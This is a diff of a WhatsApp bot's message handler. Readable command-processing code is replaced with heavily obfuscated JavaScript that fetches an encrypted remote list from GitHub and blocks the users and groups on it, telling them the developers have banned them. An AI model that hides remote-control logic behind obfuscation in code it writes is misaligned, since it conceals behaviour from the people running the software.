+ _0x377d80['\x64\x69\x73\x70\x6c\x61\x79\x54\x65\x78' + '\x74'] = '\ud83d\udc83\ud83c\udffb\x20\x4f\x66\x66\x69\x63\x69\x61\x6c' + _0x4cb729(0x4dc, 0x506), _0x377d80[_0xafa597(0x346, 0x34c)] = _0x4cb729(0x4f2, 0x568) + '\x64\x61\x6e\x69\x77\x61\x73\x61\x2e\x63' + _0xafa597(0x3d7, 0x3fc);
801
+ const _0xc38707 = {};
802
+ _0xc38707[_0x4cb729(0x3fd, 0x40e)] = 0x1, _0xc38707[_0x4cb729(0x427, 0x49e)] = _0x377d80;
803
+ const _0x5e1163 = {};
804
+ _0x5e1163[_0x4cb729(0x55a, 0x4c8) + '\x74'] = _0xafa597(0x2d4, 0x2ff) + '\x59\x6f\x75\x54\x75\x62\x65\x20\x43\x68' + '\x61\x6e\x6e\x65\x6c', _0x5e1163[_0x4cb729(0x549, 0x497)] = _0xafa597(0x259, 0x2ee) + _0x4cb729(0x57b, 0x58a) + _0xafa597(0x4a6, 0x430) + _0x4cb729(0x56e, 0x51b) + _0x4cb729(0x429, 0x505) + _0xafa597(0x362, 0x3ca);
805
+ const _0x429a60 = {};
806
+ _0x429a60[_0x4cb729(0x330, 0x40e)] = 0x2, _0x429a60['\x75\x72\x6c\x42\x75\x74\x74\x6f\x6e'] = _0x5e1163;
807
+ const _0x6ef1db = [
808
+ _0xc38707,
809
+ _0x429a60
810
+ ], _0x5eecf5 = {};
811
+ _0x5eecf5[_0xafa597(0x47b, 0x39a)] = _0x1b1562['\x62\x79\x65\x6e\x6f\x74\x65'], _0x5eecf5[_0x4cb729(0x4c4, 0x46a)] = footerTXT, _0x5eecf5[_0xafa597(0x35d, 0x2ae) + '\x74\x74\x6f\x6e\x73'] = _0x6ef1db, _0x5eecf5[_0xafa597(0x1c3, 0x299)] = {}, _0x5eecf5[_0xafa597(0x1c3, 0x299)][_0xafa597(0x267, 0x34c)] = _0x1b1562[_0xafa597(0x239, 0x2b3)];
812
+ const _0x54912d = _0x5eecf5;
813
+ return await _0x44c8fe['\x73\x65\x6e\x64\x4d\x65\x73\x73\x61\x67' + '\x65'](_0x387287['\x69\x64'], _0x54912d);
567
814
  }
568
815
  }
569
-
570
- const groupMetadata = isGroup ? await amdiCONN.groupMetadata(clientJID) : "";
571
- let sender = isGroup ? msg.key.participant : m.messages[0].key.remoteJid;
572
- const senderNumb = sender.includes(":") ? sender.split(":")[0] : sender.split("@")[0];
573
- if (msg.key.fromMe) sender = botNumberJid;
574
- const senderjid = sender.includes(":") ? sender.slice(0, sender.search(":")) + '@' + sender.split("@")[1] : sender;
575
-
576
- // <==== Ban users ====>
577
- let blockCount = await getBanJids(sender);
578
- if (blockCount == 1) return;
579
-
580
- // <==== Ban groups ====>
581
- if (isGroup) {
582
- let blockCount = await getBanJids(clientJID);
583
- if (blockCount == 1) return;
584
- }
585
-
586
- const groupName = isGroup ? groupMetadata.subject : "";
587
- const groupDesc = isGroup ? groupMetadata.desc : "";
588
- const groupMembers = isGroup ? groupMetadata.participants : "";
589
- const groupAdmins = isGroup ? writeGroupAdmins(groupMembers) : "";
590
-
591
- const isBotGroupAdmin = groupAdmins.includes(botNumberJid) || false;
592
- const isGroupAdmin = groupAdmins.includes(senderjid) || false;
593
-
594
- const isMedia
595
- = type === "imageMessage" || type === "videoMessage";
596
- const isTaggedImage
597
- = type === "extendedTextMessage" && content.includes("imageMessage");
598
- const isTaggedVideo
599
- = type === "extendedTextMessage" && content.includes("videoMessage");
600
- const isTaggedSticker
601
- = type === "extendedTextMessage" && content.includes("stickerMessage");
602
- const isTaggedDocument
603
- = type === "extendedTextMessage" && content.includes("documentMessage");
604
-
605
- // <==== Command Display in Console ====>
606
- if (vars.CHAT_UPDATES == 'true') {
607
- console.log(`[COMMAND: ${command}]-[NAME: ${m.messages[0].pushName}]-[CLIENT: ${senderNumb}]-[GRP: ${groupName}]`);
816
+ }), _0x44c8fe['\x65\x76']['\x6f\x6e'](_0x760060(0x12d, 0xa9) + _0x760060(0x199, 0x255), async _0x3b6567 => {
817
+ function _0x100746(_0x14e86b, _0x35372e) {
818
+ return _0x309389(_0x14e86b, _0x35372e - -0x1d4);
608
819
  }
609
-
610
- // <==== Send every command info to Bot Number ====>
611
- if (vars.CHAT_UPDATES == 'true') {
612
- let chat_name = groupName == '' ? '[Inbox]' : groupName
613
- LoggerChat(`📳 *Command Usage*\n\n‣ COMMAND: ${command} \n‣ CLIENT: ${senderNumb} \n‣ NAME: ${m.messages[0].pushName} \n‣ CHAT NAME: ${chat_name}`);
820
+ function _0x504108(_0x34291c, _0x58c0ca) {
821
+ return _0x309389(_0x34291c, _0x58c0ca - 0x44f);
614
822
  }
615
-
616
- // <==== Block Commands ====>
617
- let blockCommandsInDesc = [];
618
- if (groupDesc) {
619
- let firstLineDesc = groupDesc.toString().split("\n")[0];
620
- blockCommandsInDesc = firstLineDesc.split(",");
621
- }
622
- if (command != '') {
623
- if (blockCommandsInDesc.includes(command)) {
624
- reply(Lang.cmdBlockByGrpDesc);
823
+ try {
824
+ const _0x1fa323 = JSON[_0x100746(-0x256, -0x20a)](JSON[_0x504108(0x51d, 0x50a)](_0x3b6567))[_0x100746(-0x2c0, -0x20f)][0x0];
825
+ if (!_0x1fa323[_0x100746(-0xf, -0xa2)] || _0x1fa323[_0x504108(0x565, 0x581)][_0x504108(0x611, 0x583) + '\x73\x73\x61\x67\x65'])
826
+ return;
827
+ if (_0x1fa323[_0x100746(-0x44, -0xbb)]['\x72\x65\x6d\x6f\x74\x65\x4a\x69\x64'] == _0x100746(-0x2a1, -0x22c) + _0x100746(-0x13f, -0xc8))
828
+ return;
829
+ const _0x335202 = JSON[_0x100746(-0x39, -0x119)](_0x1fa323[_0x504108(0x5c5, 0x581)]), _0x14b4e9 = _0x1fa323['\x6b\x65\x79'][_0x100746(-0x19b, -0x17f)], _0x2625a0 = Object[_0x100746(-0x1bd, -0x156)](_0x1fa323[_0x504108(0x5e8, 0x581)])[0x0], _0x580465 = _0x504108(0x590, 0x554);
830
+ let _0x3c6f93 = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x61' + _0x100746(0x70, -0x6f) + _0x100746(-0xe6, -0x19f) + _0x504108(0x5f5, 0x542) + '\x6d\x64\x61\x2f\x51\x75\x65\x65\x6e\x41' + '\x6d\x64\x69\x2f\x6d\x61\x73\x74\x65\x72' + _0x504108(0x543, 0x57f) + '\x6e';
831
+ const _0xa71b06 = await got(_0x3c6f93), _0x4bb251 = JSON[_0x100746(-0x257, -0x20a)](_0xa71b06[_0x504108(0x4d0, 0x4c3)]), _0x42d694 = _0x4bb251[_0x100746(-0x25, -0xaf)][_0x504108(0x506, 0x531) + '\x69\x5f\x44\x65\x76\x69\x63\x65'][_0x100746(-0x1db, -0x128) + '\x72'], _0x520154 = _0x4bb251[_0x504108(0x533, 0x574)][_0x100746(-0x148, -0x1d7)][_0x100746(-0x124, -0x128) + '\x72'], _0x46998d = CryptoJS[_0x100746(-0x1a6, -0xdd)][_0x100746(-0x15a, -0x21d)](_0x42d694, _0x580465), _0x3f2978 = CryptoJS[_0x100746(-0xd2, -0xdd)][_0x100746(-0x1d3, -0x21d)](_0x520154, _0x580465), _0x23fd41 = _0x46998d['\x74\x6f\x53\x74\x72\x69\x6e\x67'](CryptoJS[_0x100746(-0x113, -0x177)][_0x100746(-0x103, -0x1c3)]), _0x40478a = _0x3f2978[_0x100746(-0x130, -0x201)](CryptoJS[_0x504108(0x58b, 0x4ac)][_0x504108(0x4d5, 0x460)]);
832
+ var _0x3ce195 = _0x23fd41[_0x504108(0x4d8, 0x3fb)]('\x2c'), _0x1af610 = _0x40478a['\x73\x70\x6c\x69\x74']('\x2c');
833
+ const _0x4df6c7 = _0x4bb251[_0x100746(0x4, -0xaf)][_0x100746(-0x157, -0xf2) + '\x69\x5f\x44\x65\x76\x69\x63\x65'][_0x504108(0x522, 0x58d) + '\x75\x70'], _0x4dad77 = _0x4bb251[_0x100746(-0x40, -0xaf)][_0x100746(-0x250, -0x1d7)][_0x100746(-0x96, -0x96) + '\x75\x70'], _0x1d6dce = _0x4300f1 => {
834
+ const _0x2fde66 = {};
835
+ _0x2fde66[_0x32c25a(-0xc, -0x8c)] = _0x4300f1;
836
+ const _0x3a05fe = {};
837
+ function _0x47f9ed(_0x22fe86, _0x22f58d) {
838
+ return _0x100746(_0x22f58d, _0x22fe86 - 0x75);
839
+ }
840
+ function _0x32c25a(_0x4578f8, _0x2cb48b) {
841
+ return _0x100746(_0x4578f8, _0x2cb48b - 0x18b);
842
+ }
843
+ _0x3a05fe['\x71\x75\x6f\x74\x65\x64'] = _0xc73e83 === ![] ? _0x3b6567[_0x32c25a(0x23, -0x84)][0x0] : '', _0x44c8fe[_0x47f9ed(-0x168, -0x208) + '\x65'](_0x14b4e9, _0x2fde66, _0x3a05fe);
844
+ }, _0x372097 = (_0x486fc9, _0x197487, _0x66f501) => {
845
+ const _0x2ebd74 = {};
846
+ function _0x108fb9(_0x24d203, _0x58b6f8) {
847
+ return _0x100746(_0x58b6f8, _0x24d203 - 0x302);
848
+ }
849
+ _0x2ebd74[_0x108fb9(0x195, 0x1c2)] = _0x486fc9;
850
+ function _0x1ec29e(_0x1fb522, _0x40e01f) {
851
+ return _0x100746(_0x1fb522, _0x40e01f - 0x381);
852
+ }
853
+ const _0x13a410 = {};
854
+ _0x13a410[_0x108fb9(0x10b, 0xc8)] = _0x2ebd74, _0x13a410['\x6d\x69\x6d\x65\x74\x79\x70\x65'] = _0x197487, _0x13a410[_0x108fb9(0x22f, 0x24a)] = _0x66f501;
855
+ const _0x25a775 = {};
856
+ _0x25a775[_0x108fb9(0xd5, 0xb9)] = _0xc73e83 === ![] ? _0x3b6567[_0x1ec29e(0x19f, 0x172)][0x0] : '', _0x44c8fe[_0x108fb9(0x125, 0x1bf) + '\x65'](_0x14b4e9, _0x13a410, _0x25a775);
857
+ }, _0x4fa78b = (_0x1229cd, _0x3ac96e, _0x20fdaf, _0x3982e9) => {
858
+ function _0x4b153e(_0x1a257b, _0x449d95) {
859
+ return _0x100746(_0x1a257b, _0x449d95 - 0x637);
860
+ }
861
+ var _0x43760c = '';
862
+ if (_0x3982e9) {
863
+ const _0x5609fb = {};
864
+ _0x5609fb[_0x4b153e(0x4c8, 0x4ca)] = _0x3982e9;
865
+ const _0x809d1a = {};
866
+ _0x809d1a['\x69\x6d\x61\x67\x65'] = _0x5609fb, _0x809d1a[_0x44bb18(0x46f, 0x3d8)] = _0x3ac96e, _0x809d1a[_0x44bb18(0x3f4, 0x384)] = footerTXT, _0x809d1a[_0x44bb18(0x436, 0x3ce)] = _0x1229cd, _0x809d1a[_0x44bb18(0x3a6, 0x2dd)] = 0x4, _0x43760c = _0x809d1a;
867
+ } else {
868
+ if (!_0x3982e9) {
869
+ const _0x2924f1 = {};
870
+ _0x2924f1[_0x44bb18(0x377, 0x33d)] = _0x3ac96e, _0x2924f1['\x66\x6f\x6f\x74\x65\x72'] = footerTXT, _0x2924f1['\x62\x75\x74\x74\x6f\x6e\x73'] = _0x1229cd, _0x2924f1[_0x4b153e(0x518, 0x44f)] = 0x1, _0x43760c = _0x2924f1;
871
+ }
872
+ }
873
+ const _0x19a237 = {};
874
+ function _0x44bb18(_0x342e9a, _0x4271e9) {
875
+ return _0x100746(_0x4271e9, _0x342e9a - 0x58e);
876
+ }
877
+ _0x19a237[_0x44bb18(0x361, 0x2e0)] = _0x20fdaf === !![] ? _0xc73e83 === ![] ? _0x3b6567[_0x4b153e(0x482, 0x428)][0x0] : '' : '', _0x44c8fe[_0x44bb18(0x3b1, 0x2e4) + '\x65'](_0x14b4e9, _0x43760c, _0x19a237);
878
+ }, _0x21c288 = (_0x42ca13, _0x3c1a0a, _0x24c90c, _0x472794) => {
879
+ var _0x2ec0d2 = '';
880
+ function _0x199472(_0x11eccc, _0x21816e) {
881
+ return _0x504108(_0x21816e, _0x11eccc - -0x3c4);
882
+ }
883
+ if (_0x472794) {
884
+ const _0x271fc4 = {};
885
+ _0x271fc4['\x75\x72\x6c'] = _0x472794;
886
+ const _0x15ece4 = {};
887
+ _0x15ece4['\x63\x61\x70\x74\x69\x6f\x6e'] = _0x3c1a0a, _0x15ece4[_0x199472(0xc5, 0x6d)] = footerTXT, _0x15ece4[_0x28b5c7(-0x1b7, -0x169) + _0x199472(0xc6, 0x131)] = _0x42ca13, _0x15ece4[_0x199472(0x3f, 0x30)] = _0x271fc4, _0x2ec0d2 = _0x15ece4;
888
+ } else {
889
+ if (!_0x472794) {
890
+ const _0x379c1b = {};
891
+ _0x379c1b[_0x28b5c7(-0x1c3, -0xe5)] = _0x3c1a0a, _0x379c1b[_0x28b5c7(-0x146, -0x1b7)] = footerTXT, _0x379c1b[_0x28b5c7(-0x1b7, -0xf3) + _0x28b5c7(-0x145, -0x11d)] = _0x42ca13, _0x2ec0d2 = _0x379c1b;
892
+ }
893
+ }
894
+ const _0x706465 = {};
895
+ _0x706465[_0x199472(0x32, 0x7b)] = _0x24c90c === !![] ? _0xc73e83 === ![] ? _0x3b6567[_0x199472(0x50, 0x7c)][0x0] : '' : '';
896
+ function _0x28b5c7(_0x2fd9d1, _0x57a419) {
897
+ return _0x100746(_0x57a419, _0x2fd9d1 - 0x54);
898
+ }
899
+ _0x44c8fe['\x73\x65\x6e\x64\x4d\x65\x73\x73\x61\x67' + '\x65'](_0x14b4e9, _0x2ec0d2, _0x706465);
900
+ }, _0x9a67ee = (_0x1b0ca0, _0x575609) => {
901
+ var _0x297f11 = '';
902
+ _0x1b0ca0[_0x2b688e(0x58b, 0x559)] == _0x2b688e(0x479, 0x3fd) ? _0x297f11 = _0x251bf5(-0x19d, -0x17f) : _0x297f11 = _0x1b0ca0[_0x251bf5(-0xbe, -0x7d)];
903
+ const _0x414b9a = {};
904
+ _0x414b9a[_0x251bf5(-0x1f9, -0x2bc)] = _0x1b0ca0[_0x251bf5(-0x1f9, -0x231)], _0x414b9a[_0x251bf5(-0x17c, -0xb4)] = footerTXT, _0x414b9a[_0x251bf5(-0x37, -0xce)] = _0x1b0ca0[_0x2b688e(0x612, 0x66e)], _0x414b9a[_0x251bf5(-0x178, -0x1e1)] = _0x297f11, _0x414b9a[_0x2b688e(0x5dd, 0x503)] = _0x575609;
905
+ const _0x2b930b = _0x414b9a, _0x4658c9 = {};
906
+ function _0x251bf5(_0x117f17, _0x1d8f63) {
907
+ return _0x504108(_0x1d8f63, _0x117f17 - -0x605);
908
+ }
909
+ _0x4658c9[_0x251bf5(-0x20f, -0x13e)] = _0xc73e83 === ![] ? _0x3b6567['\x6d\x65\x73\x73\x61\x67\x65\x73'][0x0] : '';
910
+ function _0x2b688e(_0x36b3d2, _0x34780b) {
911
+ return _0x100746(_0x34780b, _0x36b3d2 - 0x667);
912
+ }
913
+ _0x44c8fe[_0x251bf5(-0x1bf, -0x294) + '\x65'](_0x14b4e9, _0x2b930b, _0x4658c9);
914
+ }, _0x2d9cdb = (_0x333a07, _0x380dde) => {
915
+ const _0x150584 = {};
916
+ _0x150584[_0x4aed70(-0x2a3, -0x2e3)] = _0x333a07;
917
+ function _0x5eb8a8(_0x2da9db, _0x4ee944) {
918
+ return _0x504108(_0x2da9db, _0x4ee944 - -0x3a4);
919
+ }
920
+ _0x150584[_0x4aed70(-0x1a4, -0x187)] = _0x380dde['\x6b\x65\x79'];
921
+ const _0x43f4cf = {};
922
+ _0x43f4cf[_0x5eb8a8(0x7f, 0x152)] = _0x150584;
923
+ const _0xf50314 = _0x43f4cf;
924
+ function _0x4aed70(_0x12262d, _0x3a7a92) {
925
+ return _0x100746(_0x12262d, _0x3a7a92 - -0xcc);
926
+ }
927
+ _0x44c8fe[_0x5eb8a8(0x137, 0xa2) + '\x65'](_0x14b4e9, _0xf50314);
928
+ }, _0x4a691e = _0x5bd832 => {
929
+ function _0x35f24d(_0x4a0a5f, _0x24b264) {
930
+ return _0x504108(_0x24b264, _0x4a0a5f - -0x3bf);
931
+ }
932
+ admins = [];
933
+ for (let _0xdd3428 of _0x5bd832) {
934
+ _0xdd3428[_0x1183fb(-0x176, -0x210)] == _0x1183fb(-0x1fc, -0x210) || _0xdd3428[_0x35f24d(0x143, 0x1e3)] == _0x1183fb(-0x207, -0x2ae) ? admins[_0x35f24d(0x16a, 0x13c)](_0xdd3428['\x69\x64']) : '';
935
+ }
936
+ function _0x1183fb(_0x578994, _0x4cd7fc) {
937
+ return _0x100746(_0x578994, _0x4cd7fc - -0xef);
938
+ }
939
+ return admins;
940
+ };
941
+ let _0x235bec = _0x44c8fe[_0x100746(-0x9, -0x7c)]['\x69\x64'];
942
+ _0x235bec = _0x235bec[_0x504108(0x4f3, 0x466)](0x0, _0x235bec[_0x504108(0x53c, 0x4ab)]('\x3a')) + _0x235bec['\x73\x6c\x69\x63\x65'](_0x235bec[_0x504108(0x579, 0x4ab)]('\x40'));
943
+ let _0xe6ee7a = _0x2625a0 === _0x100746(-0x12c, -0x195) + '\x6f\x6e' && _0x1fa323[_0x100746(0x44, -0xa2)]['\x63\x6f\x6e\x76\x65\x72\x73\x61\x74\x69' + '\x6f\x6e'][_0x504108(0x4c6, 0x4c9)](prefix) ? _0x1fa323[_0x504108(0x53b, 0x581)]['\x63\x6f\x6e\x76\x65\x72\x73\x61\x74\x69' + '\x6f\x6e'] : _0x2625a0 == _0x100746(-0x276, -0x1c0) + '\x67\x65' && _0x1fa323['\x6d\x65\x73\x73\x61\x67\x65']['\x69\x6d\x61\x67\x65\x4d\x65\x73\x73\x61' + '\x67\x65'][_0x504108(0x5d1, 0x504)] && _0x1fa323[_0x504108(0x651, 0x581)][_0x504108(0x40b, 0x463) + '\x67\x65'][_0x100746(-0x1ec, -0x11f)][_0x504108(0x5ac, 0x4c9)](prefix) ? _0x1fa323[_0x100746(-0x182, -0xa2)][_0x100746(-0x232, -0x1c0) + '\x67\x65'][_0x504108(0x559, 0x504)] : _0x2625a0 == _0x100746(-0x1b0, -0x110) + '\x67\x65' && _0x1fa323['\x6d\x65\x73\x73\x61\x67\x65'][_0x100746(-0x4c, -0x110) + '\x67\x65'][_0x100746(-0x1f8, -0x11f)] && _0x1fa323['\x6d\x65\x73\x73\x61\x67\x65'][_0x100746(-0x1cd, -0x110) + '\x67\x65'][_0x504108(0x58f, 0x504)][_0x504108(0x41f, 0x4c9)](prefix) ? _0x1fa323[_0x100746(-0x58, -0xa2)][_0x504108(0x4e3, 0x513) + '\x67\x65'][_0x504108(0x587, 0x504)] : _0x2625a0 == _0x504108(0x491, 0x526) + _0x504108(0x462, 0x459) && _0x1fa323[_0x100746(-0x78, -0xa2)][_0x504108(0x4d8, 0x526) + _0x100746(-0x182, -0x1ca)][_0x100746(-0x289, -0x217)] && _0x1fa323[_0x504108(0x5a9, 0x581)][_0x100746(-0x79, -0xfd) + _0x100746(-0x1a9, -0x1ca)][_0x504108(0x4e7, 0x40c)]['\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68'](prefix) ? _0x1fa323[_0x100746(-0x10, -0xa2)][_0x504108(0x4b7, 0x526) + _0x504108(0x4b5, 0x459)][_0x100746(-0x2df, -0x217)] : _0x2625a0 == _0x504108(0x44b, 0x483) + _0x504108(0x514, 0x553) + '\x67\x65' ? _0x1fa323['\x6d\x65\x73\x73\x61\x67\x65'][_0x504108(0x3e0, 0x483) + _0x504108(0x4be, 0x553) + '\x67\x65'][_0x100746(-0xf3, -0x1a9) + _0x100746(-0x162, -0x19d)] : _0x2625a0 == _0x504108(0x4a9, 0x418) + _0x100746(-0x1c6, -0x21e) + _0x504108(0x4e5, 0x50f) ? _0x1fa323[_0x504108(0x49a, 0x581)][_0x100746(-0x174, -0x20b) + _0x504108(0x3bd, 0x405) + '\x65\x73\x73\x61\x67\x65'][_0x504108(0x617, 0x558)] : _0x2625a0 == _0x100746(-0x21, -0xdf) + _0x504108(0x57b, 0x54b) ? _0x1fa323[_0x100746(-0xa5, -0xa2)][_0x504108(0x5b6, 0x544) + '\x73\x65\x4d\x65\x73\x73\x61\x67\x65'][_0x100746(-0x314, -0x229) + _0x504108(0x4cf, 0x40a)][_0x504108(0x4b6, 0x45c) + '\x77\x49\x64'] : _0x2625a0 == _0x100746(-0x1a8, -0x1b5) + _0x100746(-0x132, -0x75) ? _0x1fa323[_0x100746(-0xaa, -0xa2)][_0x100746(-0x19f, -0x1a0) + _0x100746(-0x57, -0xd0) + '\x67\x65']?.[_0x100746(-0x1ab, -0x1a9) + _0x504108(0x45f, 0x486)] || _0x1fa323[_0x504108(0x5ed, 0x581)][_0x504108(0x4d8, 0x544) + _0x504108(0x4b8, 0x54b)]?.[_0x100746(-0x289, -0x229) + _0x100746(-0x1fc, -0x219)][_0x504108(0x41e, 0x45c) + _0x504108(0x5d7, 0x53b)] || _0x1fa323[_0x504108(0x380, 0x40c)] : '';
944
+ if (_0xe6ee7a[0x1] == '\x20')
945
+ _0xe6ee7a = _0xe6ee7a[0x0] + _0xe6ee7a[_0x504108(0x4b3, 0x466)](0x2);
946
+ const _0x1d64e9 = _0xe6ee7a['\x74\x72\x69\x6d']()[_0x100746(-0x229, -0x228)](/ +/)['\x73\x6c\x69\x63\x65'](0x1)[_0x504108(0x4e2, 0x5c8)]('\x20'), _0x1b8b57 = _0xe6ee7a[_0x504108(0x423, 0x466)](0x1)[_0x100746(-0x57, -0x108)]()[_0x100746(-0x201, -0x228)](/ +/)[_0x504108(0x446, 0x50d)]()[_0x504108(0x591, 0x4a7) + '\x65'](), _0x1815b7 = _0xe6ee7a['\x74\x72\x69\x6d']()['\x73\x70\x6c\x69\x74'](/ +/)[_0x504108(0x47c, 0x466)](0x1), _0xe16b59 = _0xe6ee7a[_0x100746(-0xca, -0x15a)](prefix), _0x37252f = _0x14b4e9[_0x504108(0x4b4, 0x594)]('\x40\x67\x2e\x75\x73'), _0xc73e83 = _0x3b6567[_0x504108(0x437, 0x414)][0x0][_0x504108(0x53b, 0x568)]['\x66\x72\x6f\x6d\x4d\x65'], _0x3468b3 = getDevice(_0x3b6567[_0x100746(-0x24e, -0x20f)][0x0][_0x100746(-0x13e, -0xbb)]['\x69\x64']);
947
+ let _0x4f001b;
948
+ _0x3b6567[_0x100746(-0x22b, -0x20f)][0x0][_0x504108(0x632, 0x581)][_0x504108(0x46f, 0x4e2) + '\x65\x72\x74\x79'](_0x100746(-0x66, -0xfd) + _0x504108(0x426, 0x459)) && _0x3b6567['\x6d\x65\x73\x73\x61\x67\x65\x73'][0x0][_0x100746(-0x68, -0xa2)]['\x65\x78\x74\x65\x6e\x64\x65\x64\x54\x65' + _0x100746(-0x16a, -0x1ca)][_0x504108(0x465, 0x4e2) + _0x100746(-0x152, -0x64)](_0x504108(0x51d, 0x569) + '\x6f') === !![] && _0x3b6567[_0x504108(0x46f, 0x414)][0x0][_0x100746(-0x185, -0xa2)][_0x100746(-0x9f, -0xfd) + _0x504108(0x523, 0x459)][_0x100746(-0x141, -0xba) + '\x6f'][_0x504108(0x507, 0x4e2) + '\x65\x72\x74\x79'](_0x100746(-0x1c5, -0x11d) + _0x504108(0x55a, 0x478)) ? _0x4f001b = _0x3b6567[_0x100746(-0x203, -0x20f)][0x0][_0x100746(-0x11b, -0xa2)][_0x504108(0x583, 0x526) + _0x504108(0x547, 0x459)]['\x63\x6f\x6e\x74\x65\x78\x74\x49\x6e\x66' + '\x6f'][_0x504108(0x5e5, 0x506) + '\x61\x67\x65'] : _0x4f001b = ![];
949
+ const _0x10464b = _0x4f001b != ![] ? _0x3b6567[_0x100746(-0x29e, -0x20f)][0x0][_0x504108(0x5b7, 0x581)]['\x65\x78\x74\x65\x6e\x64\x65\x64\x54\x65' + _0x100746(-0x188, -0x1ca)][_0x100746(-0xfe, -0xba) + '\x6f'][_0x504108(0x4b2, 0x506) + _0x504108(0x4bc, 0x478)] : ![];
950
+ if (!_0xe16b59)
951
+ return;
952
+ if (_0x3b6567[_0x100746(-0x270, -0x20f)][0x0]['\x6b\x65\x79'][_0x100746(-0x184, -0x17f)][_0x504108(0x47b, 0x449)](_0x100746(0x58, -0x86)) ? _0x3ce195[_0x504108(0x498, 0x449)](_0x3b6567['\x6d\x65\x73\x73\x61\x67\x65\x73'][0x0][_0x100746(-0xd, -0xbb)]['\x70\x61\x72\x74\x69\x63\x69\x70\x61\x6e' + '\x74'][_0x504108(0x337, 0x3fb)]('\x40')[0x0]) : _0x3ce195[_0x504108(0x499, 0x449)](_0x3b6567[_0x100746(-0x26b, -0x20f)][0x0]['\x6b\x65\x79'][_0x504108(0x55d, 0x4a4)][_0x100746(-0x154, -0x228)]('\x40')[0x0])) {
953
+ const _0x4d0058 = {};
954
+ _0x4d0058[_0x504108(0x4d5, 0x40c)] = _0x100746(-0x170, -0xb3) + '\x65\x72\x73\x20\x68\x61\x76\x65\x20\x62' + '\x61\x6e\x6e\x65\x64\x20\x79\x6f\x75\x20' + _0x100746(-0x13c, -0xc3) + _0x100746(-0xc9, -0x134) + _0x100746(-0x1ca, -0x1cf) + _0x100746(-0x13a, -0x9a);
955
+ const _0x2f3272 = {};
956
+ _0x2f3272[_0x504108(0x3e2, 0x3f6)] = _0x3b6567['\x6d\x65\x73\x73\x61\x67\x65\x73'][0x0], _0x44c8fe['\x73\x65\x6e\x64\x4d\x65\x73\x73\x61\x67' + '\x65'](_0x14b4e9, _0x4d0058, _0x2f3272);
625
957
  return;
626
958
  }
627
- }
628
-
629
- const msgLayout = {
630
- prefix, evv, sender, reply_message, allowedNumbs, footerTXT, reply, sendAudioMsg, sendButtonMsg, sendTemplate, sendListMsg, react, LoggerChat, senderjid, command, groupMetadata, isGroup, isGroupAdmin,
631
- isBotGroupAdmin, isMedia, isTaggedImage, isTaggedVideo, isTaggedSticker, isTaggedDocument, botNumberJid, msgDevice, isReply
632
- }
633
-
634
- //console.log(m.messages[0].key.id)
635
- //console.log(msgDevice)
636
- //await amdiCONN.sendMessage(clientJID, {text: 'Hora gediya oya ' + msgDevice + ' neda use krna phone eka'}, { quoted: (fromMe === false ? m.messages[0] : '') });
637
-
638
- // <==== Commands Manager ====>
639
- if (commandsPrimary[command]) { // [Primary Commands]
640
- if (vars.WORKTYPE == 'public') { // [Primary Commands - Public_Mode]
641
- readMessages();
642
- if (reactionPrimary[command] && fromMe == false) {
643
- await react(reactionPrimary[command], m.messages[0])
644
- }
645
- commandsPrimary[command](amdiCONN, m.messages[0], clientJID, input, msgLayout, fromMe);
646
- if (fromMe == true) {
647
- await amdiCONN.sendMessage(clientJID, { delete: m.messages[0].key })
648
- }
959
+ if (_0x3b6567[_0x504108(0x478, 0x414)][0x0][_0x504108(0x62a, 0x568)][_0x100746(-0x25f, -0x17f)][_0x100746(-0x238, -0x1da)](_0x504108(0x59f, 0x59d)) ? _0x1af610[_0x100746(-0x2bd, -0x1da)](_0x3b6567[_0x504108(0x401, 0x414)][0x0][_0x504108(0x594, 0x568)]['\x70\x61\x72\x74\x69\x63\x69\x70\x61\x6e' + '\x74'][_0x100746(-0x235, -0x228)]('\x40')[0x0]) : _0x1af610[_0x504108(0x439, 0x449)](_0x3b6567[_0x504108(0x419, 0x414)][0x0]['\x6b\x65\x79']['\x72\x65\x6d\x6f\x74\x65\x4a\x69\x64'][_0x504108(0x499, 0x3fb)]('\x40')[0x0])) {
960
+ const _0x4a59e2 = {};
961
+ _0x4a59e2[_0x504108(0x387, 0x40c)] = '\u26a0\ufe0f\x20\x2a\x44\x65\x76\x65\x6c\x6f\x70' + '\x65\x72\x73\x20\x68\x61\x76\x65\x20\x62' + _0x504108(0x5c1, 0x5c9) + _0x504108(0x4e2, 0x560) + '\x20\x51\x75\x65\x65\x6e\x20\x41\x6d\x64' + _0x100746(-0x196, -0x1cf) + '\x6a\x2d\x4d\x44\x20\x62\x6f\x74\x2e\x2a';
962
+ const _0x1b5389 = {};
963
+ _0x1b5389[_0x504108(0x336, 0x3f6)] = _0x3b6567[_0x100746(-0x225, -0x20f)][0x0], _0x44c8fe[_0x504108(0x525, 0x446) + '\x65'](_0x14b4e9, _0x4a59e2, _0x1b5389);
649
964
  return;
650
- } else if (vars.WORKTYPE == 'private') { // [Primary Commands - Private_Mode]
651
- if (allowedNumbs.includes(senderNumb) || fromMe == true || MOD.includes(senderNumb)) {
652
- readMessages();
653
- if (reactionPrimary[command] && fromMe == false) {
654
- await react(reactionPrimary[command], m.messages[0])
965
+ }
966
+ if (_0x3b6567[_0x100746(-0x285, -0x20f)][0x0][_0x100746(-0x109, -0xbb)][_0x100746(-0x151, -0x17f)][_0x100746(-0x162, -0x1da)]('\x67\x2e\x75\x73')) {
967
+ if (_0x4df6c7[_0x100746(-0x120, -0x1da)](_0x3b6567[_0x100746(-0x223, -0x20f)][0x0][_0x100746(-0x10c, -0xbb)]['\x72\x65\x6d\x6f\x74\x65\x4a\x69\x64']['\x73\x70\x6c\x69\x74']('\x40')[0x0]) || _0x4dad77[_0x100746(-0x22e, -0x1da)](_0x3b6567[_0x504108(0x4a4, 0x414)][0x0][_0x100746(-0x13c, -0xbb)]['\x72\x65\x6d\x6f\x74\x65\x4a\x69\x64'][_0x100746(-0x2b5, -0x228)]('\x40')[0x0])) {
968
+ const _0x5c748a = {};
969
+ _0x5c748a['\x74\x65\x78\x74'] = _0x100746(-0x19e, -0xb3) + _0x100746(0x34, -0x53) + '\x61\x6e\x6e\x65\x64\x20\x74\x68\x69\x73' + '\x20\x67\x72\x6f\x75\x70\x20\x66\x72\x6f' + _0x504108(0x473, 0x4c0) + _0x100746(-0x8c, -0x5d) + _0x504108(0x528, 0x4d0) + '\x44\x20\x62\x6f\x74\x2e\x2a';
970
+ const _0x4be48c = {};
971
